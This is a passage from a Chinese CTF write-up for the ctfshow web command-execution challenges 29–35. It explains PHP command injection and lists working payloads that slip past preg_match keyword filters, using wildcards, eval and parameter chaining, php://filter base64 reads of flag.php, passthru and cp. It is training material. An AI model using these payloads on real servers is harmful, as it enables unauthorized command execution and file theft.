ctfshow web入门 命令执行(29-77)
Web 命令执行是指攻击者借助Web应用程序里的漏洞,在服务器端执行任意系统命令的一种攻击手段。
原理:
Web 应用程序在处理用户输入时,有时会调用系统命令。若开发人员没有对用户输入进行严格的过滤与验证,攻击者就能够通过构造恶意输入,注入恶意命令,让服务器执行这些命令。
看例题
Web 29
由题目可知:flag被过滤,我们可以猜测flag就在这里,我们尝试使用*来解决这个问题
1.(过滤特定字符串【例如flag】的情况:)
当我们要读取flag时,遇到过滤了flag关键词的时候,我们可以使用通配符绕过。
通配符我们只需要掌握两个符号,分别是 * 和 ?
* 号表示任意长度字符,最常见的就是一条命令处理多个文件
url/?c=system("tac fla*");
2.利用参数输入+eval
?c=eval($_GET[1]);&1=phpinfo();
?c=eval($_GET[1]);&1=system("ls");
?c=eval($_GET[1]);&1=system("tac fla?.php");
3.利用参数+include(在读取前对内容进行过滤)
(参考y4tacker师傅的解法:https://blog.csdn.net/solitudi/article/details/109837640)
?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
生成的内容再进行base64解码
4.利用cp命令将flag拷贝到别处
?c=system("cp fl?g.php a.txt");
再访问a.txt
Web 30
由题目可知:
(!preg_match("/flag|system|php/i", $c))
https://blog.csdn.net/weixin_39934520/article/details/109231480,查看eval与其他函数对比
system被过滤了,可以使用passthru
?c=passthru("tac fla*");
Web 31
由题目可知:
(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c))
?c=eval($_GET[1]);&1=system("tac fla?.php");
Web 32
由题目可知:
(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c))
?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
生成的内容再进行base64解码
Web 33
由题目可知:
(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c))
?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
生成的内容再进行base64解码
提示:
c=?>&1=php://filter/read=convert.base64-encode/resource=flag.php
Web 34
由题目可知:
(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c))
?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
生成的内容再进行base64解码
Web 35
由题目可知:
(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\